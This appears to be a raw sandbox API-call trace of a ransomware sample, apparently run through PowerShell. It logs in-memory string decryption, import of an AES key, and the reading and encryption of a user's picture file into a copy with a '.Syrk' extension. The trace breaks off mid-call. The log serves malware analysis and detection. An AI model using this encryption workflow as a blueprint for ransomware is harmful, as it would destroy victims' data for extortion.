(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0249.004] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0249.004] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0249.005] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0249.005] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0249.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0249.005] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0249.005] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0249.006] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0249.006] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0249.006] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0249.006] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0249.006] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0249.006] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0249.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0249.007] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0249.007] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0249.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0249.007] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0249.007] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0249.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0249.007] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0249.007] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0249.008] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0249.008] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0249.008] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0249.008] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0249.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0249.009] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0249.009] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0249.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0249.009] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0249.009] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0249.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0249.009] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0249.009] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0249.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0249.009] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0249.010] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0249.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0249.010] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0249.010] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0249.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0249.010] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0249.010] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0249.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0249.011] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0249.011] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0249.011] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0249.011] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0249.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0249.011] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0249.012] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0249.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0249.012] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0249.012] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.012] EtwEventActivityIdControl () returned 0x0 [0249.063] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0249.063] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.063] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0249.063] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0249.064] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0249.066] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x2568704*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c994a0) returned 1 [0249.066] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.066] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.066] EtwEventActivityIdControl () returned 0x0 [0249.066] EtwEventActivityIdControl () returned 0x0 [0249.066] EtwEventActivityIdControl () returned 0x0 [0249.072] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg")) returned 0x20 [0249.072] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg")) returned 0x20 [0249.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0249.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.073] EtwEventActivityIdControl () returned 0x0 [0249.073] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.073] EtwEventActivityIdControl () returned 0x0 [0249.073] EtwEventActivityIdControl () returned 0x0 [0249.073] EtwEventActivityIdControl () returned 0x0 [0249.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0249.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0249.082] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0249.082] GetFileType (hFile=0x3c4) returned 0x1 [0249.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0249.083] GetFileType (hFile=0x3c4) returned 0x1 [0249.083] EtwEventActivityIdControl () returned 0x0 [0249.083] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.083] EtwEventActivityIdControl () returned 0x0 [0249.083] EtwEventActivityIdControl () returned 0x0 [0249.083] EtwEventActivityIdControl () returned 0x0 [0249.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0249.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk", lpFilePart=0x0) returned 0x30 [0249.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0249.084] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0249.085] GetFileType (hFile=0x454) returned 0x1 [0249.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0249.085] GetFileType (hFile=0x454) returned 0x1 [0249.085] EtwEventActivityIdControl () returned 0x0 [0249.085] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x2364258 | out: pbBuffer=0x2364258) returned 1 [0249.086] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.086] CryptDuplicateKey (in: hKey=0x5c994a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c996a0) returned 1 [0249.086] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.086] CryptSetKeyParam (hKey=0x5c996a0, dwParam=0x4, pbData=0x2365590*=0x1, dwFlags=0x0) returned 1 [0249.086] CryptSetKeyParam (hKey=0x5c996a0, dwParam=0x1, pbData=0x236555c, dwFlags=0x0) returned 1 [0249.087] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.087] EtwEventActivityIdControl () returned 0x0 [0249.087] EtwEventActivityIdControl () returned 0x0 [0249.087] EtwEventActivityIdControl () returned 0x0 [0249.088] EtwEventActivityIdControl () returned 0x0 [0249.088] ReadFile (in: hFile=0x3c4, lpBuffer=0x23681cc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23681cc*, lpNumberOfBytesRead=0x5a2e7d8*=0x37bc, lpOverlapped=0x0) returned 1 [0249.090] CryptEncrypt (in: hKey=0x5c996a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x237c1e4*, pdwDataLen=0x5a2e7cc*=0x37b0, dwBufLen=0x37b0 | out: pbData=0x237c1e4*, pdwDataLen=0x5a2e7cc*=0x37b0) returned 1 [0249.090] WriteFile (in: hFile=0x454, lpBuffer=0x2364340*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2364340*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0249.097] WriteFile (in: hFile=0x454, lpBuffer=0x237d1d0*, nNumberOfBytesToWrite=0x27c4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x237d1d0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x27c4, lpOverlapped=0x0) returned 1 [0249.098] ReadFile (in: hFile=0x3c4, lpBuffer=0x23681cc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23681cc*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0249.098] CryptEncrypt (in: hKey=0x5c996a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x237f9a0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x237f9a0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0249.098] CryptEncrypt (in: hKey=0x5c996a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x237f9bc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x237f9bc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0249.098] WriteFile (in: hFile=0x454, lpBuffer=0x2364340*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2364340*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0249.098] CloseHandle (hObject=0x454) returned 1 [0249.100] CloseHandle (hObject=0x3c4) returned 1 [0249.100] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.101] EtwEventActivityIdControl () returned 0x0 [0249.101] EtwEventActivityIdControl () returned 0x0 [0249.101] EtwEventActivityIdControl () returned 0x0 [0249.105] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg")) returned 0x20 [0249.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, 